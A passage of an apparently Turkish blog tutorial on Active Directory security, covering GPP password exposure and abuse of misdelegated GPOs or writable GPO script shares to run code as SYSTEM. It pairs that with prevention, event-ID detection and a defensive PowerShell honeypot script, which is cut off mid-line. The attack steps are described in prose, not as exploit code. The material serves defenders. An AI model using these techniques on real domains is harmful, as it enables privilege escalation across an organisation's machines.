&lt;p&gt;Dikkat et: hiçbir kırma (cracking) işlemi yok — bu &lt;strong&gt;doğrudan şifre çözme&lt;/strong&gt; (decryption), çünkü anahtar zaten herkese açık. Bu, Kerberoasting/AS-REProasting'den çok daha "ucuz" bir saldırı — kaba kuvvet veya sözlük saldırısına gerek yok.&lt;/p&gt;




&lt;h4&gt;
  
  
  Önleme (Prevention)
&lt;/h4&gt;

&lt;p&gt;Microsoft, bu anahtarın kötüye kullanıldığının fark edilmesinin ardından &lt;strong&gt;2014 yılında KB2962486 yamasını&lt;/strong&gt; yayınladı — bu yamadan sonra GPP artık &lt;strong&gt;yeni&lt;/strong&gt; parolaları önbelleğe almıyor/saklamıyor.&lt;/p&gt;

&lt;p&gt;Ama burada &lt;strong&gt;kritik bir tuzak&lt;/strong&gt; var, dikkatlice oku::&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Bu yama sadece yeni kimlik bilgilerinin saklanmasını engeller — mevcut, zaten kayıtlı olan parolaları temizlemez.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Yani eğer bir organizasyonun AD ortamı &lt;strong&gt;2014'ten önce&lt;/strong&gt; kurulmuşsa, o zamandan kalma kimlik bilgileri hâlâ SYSVOL'da duruyor olabilir — yama sonradan uygulanmış olsa bile! Bu yüzden 2015 sonrası kurulan birçok ortamda bile hâlâ bu tür kimlik bilgilerine rastlanıyor (muhtemelen eski bir domain'den migrate edildiği veya eski GPO'lar kopyalandığı için). &lt;strong&gt;Öneri:&lt;/strong&gt; ortamı düzenli olarak denetleyip SYSVOL'da açığa çıkmış kimlik bilgisi olmadığından emin olmak.&lt;/p&gt;




&lt;h4&gt;
  
  
  Tespit (Detection)
&lt;/h4&gt;

&lt;p&gt;İki tespit yöntemi var:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1) Dosya erişim denetimi (auditing):&lt;/strong&gt; XML dosyasına erişim izlenebilir. Ama gerçek GPO'larla ilişkili dosyalarda bu çok fazla "gürültü" üretir (herkes düzenli olarak GPO senkronizasyonu yapar). &lt;strong&gt;Pratik çözüm:&lt;/strong&gt; hiçbir GPO ile ilişkili olmayan &lt;strong&gt;sahte bir XML dosyası&lt;/strong&gt; oluşturmak — bu dosyaya kimse normal şartlarda erişmemeli, herhangi bir erişim &lt;strong&gt;Event ID 4663&lt;/strong&gt; üretir ve doğrudan şüpheli sayılır (&lt;code&gt;Get-GPPPassword&lt;/code&gt; çalıştırıldığında Policies klasöründeki tüm dosyaları taradığı için bu tuzak dosyaya da dokunur).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2) Kimlik bilgisi kullanım denetimi:&lt;/strong&gt; Açığa çıkan hesabın oturum açma denemeleri izlenebilir — &lt;strong&gt;Event ID 4624&lt;/strong&gt; (başarılı giriş), &lt;strong&gt;4625&lt;/strong&gt; (başarısız giriş) veya &lt;strong&gt;4768&lt;/strong&gt; (TGT isteği). Eğer hesap bir servis hesabıysa, girişin &lt;strong&gt;hangi cihazdan&lt;/strong&gt; geldiğini de kontrol edebilirsiniz — servis hesabının normalde bağlanmaması gereken bir iş istasyonundan giriş denemesi gelirse, bu anormal davranıştır.&lt;/p&gt;




&lt;h4&gt;
  
  
  Honeypot (Tuzak Hesap)
&lt;/h4&gt;

&lt;p&gt;Bu saldırı türü, honeypot kurmak için &lt;strong&gt;mükemmel bir fırsat&lt;/strong&gt; sunuyor çünkü buradaki mantık öncekilerden farklı: &lt;strong&gt;yanlış parolalı&lt;/strong&gt; yarı-yetkili bir kullanıcı kullanıyoruz.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Servis hesabı neden ideal:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Parolasının eski ve düzenli değiştirilmemiş olması normal/beklenen bir durumdur&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kritik teknik:&lt;/strong&gt; Son parola değişikliği tarihinin, GPP XML dosyasının son değiştirilme tarihinden &lt;strong&gt;daha eski&lt;/strong&gt; olduğundan emin olun. Eğer parola, dosya değiştirildikten &lt;strong&gt;sonra&lt;/strong&gt; değiştirilmişse, saldırgan bu bilgiyle giriş yapmayı denemez bile (parolanın artık geçersiz olduğunu varsayar).&lt;/li&gt;
&lt;li&gt;Bu hesap için düzenli &lt;strong&gt;sahte bir görev&lt;/strong&gt; (dummy task) zamanlayın — böylece "son giriş zamanı" güncel kalır ve hesap gerçekmiş gibi görünür.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Bu ayarlandıktan sonra, bu hesapla ilgili &lt;strong&gt;her türlü&lt;/strong&gt; (başarılı veya başarısız) giriş denemesi kötü niyetli sayılabilir (tabii sahte görevin ürettiği normal girişleri alarm dışında tutarak).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Parola yanlış olduğu için&lt;/strong&gt; çoğunlukla &lt;strong&gt;başarısız&lt;/strong&gt; giriş denemeleri beklenir. Bunu gösteren üç event ID: &lt;strong&gt;4625, 4771, 4776&lt;/strong&gt; — hepsi "yanlış parolayla kimlik doğrulama denemesi" anlamına gelir ve lab ortamında saldırgan bu hesapla giriş denediğinde tam olarak bu üç event üretiliyor.&lt;/p&gt;




&lt;h3&gt;
  
  
  BÖLÜM 6: GPO Permissions / GPO Files
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Açıklama
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;GPO (Group Policy Object)&lt;/strong&gt;, benzersiz bir isme sahip, sıfır veya daha fazla politika ayarı içeren sanal bir koleksiyondur. Active Directory'de &lt;strong&gt;en yaygın kullanılan yapılandırma yönetim aracıdır.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;GPO'lar, AD yapısındaki bir &lt;strong&gt;Organizational Unit (OU)&lt;/strong&gt;'ya bağlanır (link) ve ayarları o OU'da (veya alt OU'larında) bulunan nesnelere uygulanır. GPO'ların kimlere uygulanacağı da kısıtlanabilir örneğin belirli bir AD grubuna (varsayılan olarak "Authenticated Users"a uygulanır) veya bir WMI filtresi ile (örneğin "sadece Windows 10 makinelere uygula" gibi).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sorun şurada başlıyor:&lt;/strong&gt; Yeni bir GPO oluşturulduğunda, varsayılan olarak sadece &lt;strong&gt;Domain Admins&lt;/strong&gt; (ve benzer yüksek yetkili roller) onu değiştirebilir. Ama gerçek ortamlarda, daha düşük yetkili hesaplara GPO üzerinde düzenleme izni &lt;strong&gt;devredilmiş&lt;/strong&gt; (delegated) olabilir ve işte zayıflık bu.&lt;/p&gt;

&lt;p&gt;Birçok organizasyonda, &lt;strong&gt;"Authenticated Users"&lt;/strong&gt; veya &lt;strong&gt;"Domain Users"&lt;/strong&gt; tarafından düzenlenebilen GPO'lar mevcuttur. Bu, ele geçirilen &lt;strong&gt;herhangi bir&lt;/strong&gt; kullanıcının bu GPO'ları değiştirebileceği anlamına gelir. Saldırgan GPO'ya bir &lt;strong&gt;başlangıç betiği (startup script)&lt;/strong&gt; veya &lt;strong&gt;zamanlanmış görev&lt;/strong&gt; ekleyerek, o GPO'nun bağlı olduğu OU'lardaki &lt;strong&gt;tüm bilgisayar nesnelerini&lt;/strong&gt; ele geçirebilir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;İkinci bir saldırı vektörü daha var:&lt;/strong&gt; GPO'nun kendisi doğru yapılandırılmış olsa bile, GPO aracılığıyla dağıtılan dosyalar (yazılım kurulumu, başlangıç betikleri vb.) bir &lt;strong&gt;ağ paylaşımında&lt;/strong&gt; tutuluyorsa ve bu paylaşımın &lt;strong&gt;NTFS izinleri yanlış yapılandırılmışsa&lt;/strong&gt;, saldırgan o dosyayı kendi kötü niyetli dosyasıyla &lt;strong&gt;değiştirebilir.&lt;/strong&gt; Bu durumda GPO'da bir sorun yoktur, sorun dosya izinlerindedir.&lt;/p&gt;




&lt;h4&gt;
  
  
  Saldırı:
&lt;/h4&gt;

&lt;h4&gt;
  
  
  Vektör 1: Mevcut GPO İzinleri Yanlış → GPO'yu Doğrudan Düzenleme
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fd0jhse8hgswr9kmugwpv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fd0jhse8hgswr9kmugwpv.png" alt=" " width="800" height="631"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Normalde bir GPO'yu sadece Domain Admins düzenleyebilir. Ama birçok organizasyonda yöneticiler, kolaylık olsun diye GPO düzenleme yetkisini &lt;code&gt;Authenticated Users&lt;/code&gt; veya &lt;code&gt;Domain Users&lt;/code&gt; gibi geniş gruplara devreder. Bu durumda saldırgan (örneğin İnfa gibi sıradan bir kullanıcı) şunları yapabilir:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Group Policy Management Console (GPMC)&lt;/strong&gt; açılır → hedef GPO seçilir → şu değişikliklerden biri yapılır:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Startup Script ekleme:&lt;/strong&gt; &lt;code&gt;Computer Configuration → Policies → Windows Settings → Scripts → Startup&lt;/code&gt; altına bir &lt;code&gt;.bat&lt;/code&gt; veya &lt;code&gt;.ps1&lt;/code&gt; dosyası eklenir. Her makine açılışında bu betik &lt;strong&gt;SYSTEM yetkisiyle&lt;/strong&gt; çalışır — yani en yüksek yetkiyle.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scheduled Task ekleme:&lt;/strong&gt; &lt;code&gt;Computer Configuration → Preferences → Control Panel Settings → Scheduled Tasks&lt;/code&gt; altına yeni bir görev tanımlanır. Bu görev periyodik olarak veya bir tetikleyiciyle saldırganın kodunu çalıştırır.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Yazılım yükleme:&lt;/strong&gt; &lt;code&gt;Computer Configuration → Policies → Software Settings → Software Installation&lt;/code&gt; altına bir &lt;code&gt;.msi&lt;/code&gt; paketi eklenir — saldırganın hazırladığı zararlı yazılım tüm makinelere otomatik dağıtılır.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Politika güncelleme döngüsü (varsayılan &lt;strong&gt;90 dakika&lt;/strong&gt;) veya bilgisayar yeniden başlatıldığında, GPO'nun bağlı olduğu OU'daki &lt;strong&gt;her makine&lt;/strong&gt; bu değişikliği uygular.&lt;/p&gt;




&lt;h4&gt;
  
  
  Vektör 2: Mevcut GPO Doğru Ama Dosya İzinleri Yanlış
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz9b383oz41xpzfkrlkhp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz9b383oz41xpzfkrlkhp.png" alt=" " width="800" height="512"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Bu daha sinsi bir senaryodur çünkü &lt;strong&gt;GPO'nun kendisinde hiçbir değişiklik yapılmıyor&lt;/strong&gt;, dolayısıyla Event ID 5136 &lt;strong&gt;üretilmez&lt;/strong&gt; ve standart GPO denetimi bunu yakalamaz.&lt;/p&gt;

&lt;p&gt;Senaryo: Bir yönetici GPO ile bir startup script tanımlamış, bu script bir ağ paylaşımında tutuluyor (örneğin &lt;code&gt;\\Server01\Scripts\setup.bat&lt;/code&gt;). GPO ayarları mükemmel — ama &lt;strong&gt;paylaşımın NTFS izinleri&lt;/strong&gt; yanlış yapılandırılmış ve &lt;code&gt;Domain Users&lt;/code&gt; bu dosyaya &lt;strong&gt;yazma izni&lt;/strong&gt; olan bir grupta.&lt;/p&gt;

&lt;p&gt;Saldırganın yapması gereken tek şey: o &lt;code&gt;.bat&lt;/code&gt; dosyasının içeriğini kendi zararlı koduyla &lt;strong&gt;değiştirmek&lt;/strong&gt;. Bir sonraki politika güncellemesinde veya makineler yeniden başladığında, GPO aynı dosyayı çalıştırmaya devam eder ama artık dosyanın içeriği saldırganın kodudur.&lt;/p&gt;




&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Kriter&lt;/th&gt;
&lt;th&gt;Vektör 1: GPO İzinleri&lt;/th&gt;
&lt;th&gt;Vektör 2: Dosya İzinleri&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Sorunun kaynağı&lt;/td&gt;
&lt;td&gt;GPO düzenleme yetkisi çok geniş gruba devredilmiş&lt;/td&gt;
&lt;td&gt;Ağ paylaşımının NTFS izinleri gevşek&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ne değişiyor?&lt;/td&gt;
&lt;td&gt;GPO'nun kendisi (politika ayarları)&lt;/td&gt;
&lt;td&gt;GPO'nun çalıştırdığı dosyanın içeriği&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Teknik zorluk&lt;/td&gt;
&lt;td&gt;Düşük — GPMC veya PowerShell ile düzenleme&lt;/td&gt;
&lt;td&gt;Çok düşük — dosyayı üzerine yazma&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Event ID 5136&lt;/td&gt;
&lt;td&gt;✅ Üretilir — tespit kolay&lt;/td&gt;
&lt;td&gt;❌ Üretilmez — tespit zor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tespit yöntemi&lt;/td&gt;
&lt;td&gt;Directory Service Changes denetimi&lt;/td&gt;
&lt;td&gt;Dosya hash kontrolü, dosya erişim denetimi (Event 4663)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Etki alanı&lt;/td&gt;
&lt;td&gt;GPO'nun bağlı olduğu OU'daki tüm makineler&lt;/td&gt;
&lt;td&gt;GPO'nun bağlı olduğu OU'daki tüm makineler&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Çalışma yetkisi&lt;/td&gt;
&lt;td&gt;SYSTEM (en yüksek yetki)&lt;/td&gt;
&lt;td&gt;SYSTEM (en yüksek yetki)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tetiklenme zamanı&lt;/td&gt;
&lt;td&gt;Her 90 dk politika güncellemesi veya makine açılışı&lt;/td&gt;
&lt;td&gt;Her 90 dk politika güncellemesi veya makine açılışı&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h4&gt;
  
  
  Önleme (Prevention)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;1) GPO izinlerini sıkılaştırma:&lt;/strong&gt; GPO'yu yalnızca &lt;strong&gt;belirli bir grubun&lt;/strong&gt; veya &lt;strong&gt;belirli bir hesabın&lt;/strong&gt; düzenleyebilmesini sağlayın. Bu, düzenleme yapabilecek kişi sayısını ciddi ölçüde azaltır. "Domain Admins" grubundaki herkes düzenleyebilsin demek yerine (ki bazı organizasyonlarda bu grup kolayca &lt;strong&gt;50'den fazla&lt;/strong&gt; kişi içerebilir), özel bir grup oluşturup sadece o gruba düzenleme ve izin değiştirme yetkisi verin.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2) Dosya izinlerini sıkılaştırma:&lt;/strong&gt; GPO aracılığıyla dağıtılan dosyalar ağ paylaşımlarında tutuluyorsa, bu paylaşımlara &lt;strong&gt;geniş kullanıcı kitlelerinin yazma izni olmadığından&lt;/strong&gt; emin olun.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3) Düzenli ve otomatik denetim:&lt;/strong&gt; GPO izinlerini aktif olarak ve düzenli aralıklarla gözden geçirin. Bunu otomatikleştirmek de mümkün &lt;strong&gt;saatte bir çalışan bir görev&lt;/strong&gt; oluşturarak, beklenen izinlerden herhangi bir sapma tespit edildiğinde &lt;strong&gt;alarm üretilmesini&lt;/strong&gt; sağlayabilirsiniz.&lt;/p&gt;




&lt;h4&gt;
  
  
  Tespit
&lt;/h4&gt;

&lt;p&gt;Bir GPO değiştirildiğini tespit etmek neyse ki &lt;strong&gt;kolaydır.&lt;/strong&gt; Eğer &lt;strong&gt;Directory Service Changes denetimi&lt;/strong&gt; (auditing) etkinleştirildiyse, GPO her değiştirildiğinde &lt;strong&gt;Event ID 5136&lt;/strong&gt; üretilir.&lt;/p&gt;

&lt;p&gt;Savunma açısından yapılması gereken basit: GPO'yu değiştirme yetkisi &lt;strong&gt;olmaması gereken&lt;/strong&gt; bir kullanıcı bu event'te görünürse, derhal kırmızı bayrak kaldırılmalıdır.&lt;/p&gt;




&lt;h4&gt;
  
  
  Honeypot
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Temel Mantık:&lt;/strong&gt; Kolay tespit yöntemleri mevcut olduğu için, ortamda bilerek &lt;strong&gt;yanlış yapılandırılmış bir GPO&lt;/strong&gt; bırakmak cazip bir seçenek. Aynı şekilde, GPO ile dağıtılan bir dosyanın hash değerini sürekli kontrol ederek, dosyanın değiştirilip değiştirilmediğini izlemek de mümkün.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AMA — çok önemli bir uyarı:&lt;/strong&gt; Bu teknikler &lt;strong&gt;yalnızca olgun ve proaktif bir güvenlik ekibine sahip organizasyonlar&lt;/strong&gt; için önerilir. Neden? Çünkü gelecekte birisi bu GPO değişikliği yoluyla bir yetki yükseltme (escalation) yolu keşfederse ve organizasyon bunu &lt;strong&gt;anlık olarak&lt;/strong&gt; engelleyemezse, tuzak &lt;strong&gt;geriye dönüp en zayıf nokta&lt;/strong&gt; haline gelir, yani kendi silahınız size döner.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Honeypot GPO kurulurken dikkat edilmesi gerekenler:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GPO &lt;strong&gt;yalnızca kritik olmayan sunuculara&lt;/strong&gt; bağlanmalı (link)&lt;/li&gt;
&lt;li&gt;GPO değişikliklerini izlemek için &lt;strong&gt;sürekli çalışan otomasyon&lt;/strong&gt; kurulmalı&lt;/li&gt;
&lt;li&gt;GPO dosyası değiştirilirse, değişikliği yapan kullanıcı &lt;strong&gt;derhal devre dışı&lt;/strong&gt; bırakılmalı&lt;/li&gt;
&lt;li&gt;Değişiklik tespit edilirse GPO &lt;strong&gt;otomatik olarak tüm konumlardan bağlantısı kesilmeli&lt;/strong&gt; (unlink)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Örnek PowerShell otomasyon betiği:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Bu betik, &lt;strong&gt;scheduled task&lt;/strong&gt; olarak her &lt;strong&gt;15 dakikada&lt;/strong&gt; bir çalışacak şekilde tasarlanmış. Mantığı şu:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Son 15 dakikadaki &lt;strong&gt;Event ID 5136&lt;/strong&gt; (GPO değiştirildi) kayıtlarını arar&lt;/li&gt;
&lt;li&gt;Bu kayıtları belirli bir GUID ile (honeypot GPO'nun kimliği) filtreler&lt;/li&gt;
&lt;li&gt;Eşleşme bulursa, değişikliği yapan kullanıcı(ları) tespit eder&lt;/li&gt;
&lt;li&gt;Bu kullanıcıları &lt;strong&gt;anında devre dışı bırakır&lt;/strong&gt; (&lt;code&gt;Disable-ADAccount&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;E-posta ile alarm gönderir (opsiyonel, betikteki &lt;code&gt;Send-MailMessage&lt;/code&gt; yorum satırında)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Son 15 dakikalık filtre tanımla&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$TimeSpan&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Get-Date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;New-TimeSpan&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Minutes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Son 15 dakikada Event ID 5136 (GPO değiştirildi) ara&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$Logs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;LogName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5136&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;StartTime&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$TimeSpan&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ErrorAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;SilentlyContinue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Properties&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="s2"&gt;"CN={73C66DBB-81DA-44D8-BDEF-20BA2C27056D},CN=POLICIES,CN=SYSTEM,DC=krysthal,DC=LOCAL"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$Logs&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$emailBody&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Honeypot GPO '73C66DBB-81DA-44D8-BDEF-20BA2C27056D' was modified&lt;/span&gt;&lt;span class="se"&gt;`r`n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$disabledUsers&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@()&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;ForEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$log&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$logs&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="kr"&gt;If&lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;Get-ADUser&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-identity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Properties&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Enabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="bp"&gt;$true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Properties&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-notin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$disabledUsers&lt;/span&gt;&lt;span class="p"&gt;)){&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="n"&gt;Disable-ADAccount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Identity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Properties&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Value&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nv"&gt;$emailBody&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$emailBody&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Disabled user "&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`&lt;/span&gt;&lt;span class="w"&gt;
